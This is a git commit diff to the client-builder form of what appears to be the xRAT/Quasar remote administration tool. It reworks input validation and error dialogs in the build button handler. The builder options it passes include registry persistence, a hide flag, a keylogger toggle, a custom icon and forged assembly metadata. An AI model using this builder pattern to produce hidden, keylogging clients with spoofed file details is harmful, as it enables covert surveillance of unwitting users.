This commit is contained in:
MaxXor 2015-08-22 22:47:51 +02:00
parent 8aa84a5ea3
commit d2eda28f4b
1 changed files with 60 additions and 52 deletions

View File

@ -211,14 +211,11 @@ namespace xServer.Forms
private void btnBuild_Click(object sender, EventArgs e) private void btnBuild_Click(object sender, EventArgs e)
{ {
if (lstHosts.Items.Count > 0 && if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings
!string.IsNullOrEmpty(txtDelay.Text) && // Connection Information lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection
!string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // Client Options !chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && // Installation
!chkInstall.Checked || !string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation
(chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && !chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation
!string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation Options
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text)))
// Persistence and Registry Features
{ {
string output = string.Empty; string output = string.Empty;
string icon = string.Empty; string icon = string.Empty;
@ -227,6 +224,7 @@ namespace xServer.Forms
{ {
using (OpenFileDialog ofd = new OpenFileDialog()) using (OpenFileDialog ofd = new OpenFileDialog())
{ {
ofd.Title = "Choose Icon";
ofd.Filter = "Icons *.ico|*.ico"; ofd.Filter = "Icons *.ico|*.ico";
ofd.Multiselect = false; ofd.Multiselect = false;
if (ofd.ShowDialog() == DialogResult.OK) if (ofd.ShowDialog() == DialogResult.OK)
@ -236,62 +234,72 @@ namespace xServer.Forms
using (SaveFileDialog sfd = new SaveFileDialog()) using (SaveFileDialog sfd = new SaveFileDialog())
{ {
sfd.Filter = "EXE Files *.exe|*.exe"; sfd.Title = "Save Client as";
sfd.Filter = "Executables *.exe|*.exe";
sfd.RestoreDirectory = true; sfd.RestoreDirectory = true;
sfd.FileName = "Client-built.exe"; sfd.FileName = "Client-built.exe";
if (sfd.ShowDialog() == DialogResult.OK) if (sfd.ShowDialog() != DialogResult.OK) return;
output = sfd.FileName; output = sfd.FileName;
} }
if (!string.IsNullOrEmpty(output) && (!chkIconChange.Checked || !string.IsNullOrEmpty(icon))) if (string.IsNullOrEmpty(output))
{ {
try MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
{ return;
string[] asmInfo = null; }
if (chkChangeAsmInfo.Checked)
{
if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) ||
!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
{
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Builder",
MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
}
asmInfo = new string[8]; if (chkIconChange.Checked && string.IsNullOrEmpty(icon))
asmInfo[0] = txtProductName.Text; {
asmInfo[1] = txtDescription.Text; MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information);
asmInfo[2] = txtCompanyName.Text; return;
asmInfo[3] = txtCopyright.Text; }
asmInfo[4] = txtTrademarks.Text;
asmInfo[5] = txtOriginalFilename.Text; try
asmInfo[6] = txtProductVersion.Text; {
asmInfo[7] = txtFileVersion.Text; string[] asmInfo = null;
if (chkChangeAsmInfo.Checked)
{
if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text) ||
!FormatHelper.IsValidVersionNumber(txtFileVersion.Text))
{
MessageBox.Show("Please enter a valid version number!\nExample: 1.0.0.0", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
} }
ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text, asmInfo = new string[8];
txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked, asmInfo[0] = txtProductName.Text;
chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo, asmInfo[1] = txtDescription.Text;
Application.ProductVersion); asmInfo[2] = txtCompanyName.Text;
asmInfo[3] = txtCopyright.Text;
asmInfo[4] = txtTrademarks.Text;
asmInfo[5] = txtOriginalFilename.Text;
asmInfo[6] = txtProductVersion.Text;
asmInfo[7] = txtFileVersion.Text;
}
MessageBox.Show("Successfully built client!", "Success", MessageBoxButtons.OK, ClientBuilder.Build(output, txtTag.Text, HostHelper.GetRawHosts(_hosts), txtPassword.Text, txtInstallsub.Text,
MessageBoxIcon.Information); txtInstallname.Text + ".exe", txtMutex.Text, txtRegistryKeyName.Text, chkInstall.Checked, chkStartup.Checked,
} chkHide.Checked, chkKeylogger.Checked, int.Parse(txtDelay.Text), GetInstallPath(), icon, asmInfo,
catch (FileLoadException) Application.ProductVersion);
{
MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.", MessageBox.Show("Successfully built client!", "Build Success", MessageBoxButtons.OK,
"Error loading Client", MessageBoxButtons.OK, MessageBoxIcon.Error); MessageBoxIcon.Information);
} }
catch (Exception ex) catch (FileLoadException)
{ {
MessageBox.Show( MessageBox.Show("Unable to load the Client Assembly Information.\nPlease re-build the Client.",
string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
ex.StackTrace), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); }
} catch (Exception ex)
{
MessageBox.Show(
string.Format("An error occurred!\n\nError Message: {0}\nStack Trace:\n{1}", ex.Message,
ex.StackTrace), "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
} }
} }
else else
MessageBox.Show("Please fill out all required fields!", "Builder", MessageBoxButtons.OK, MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK,
MessageBoxIcon.Information); MessageBoxIcon.Information);
} }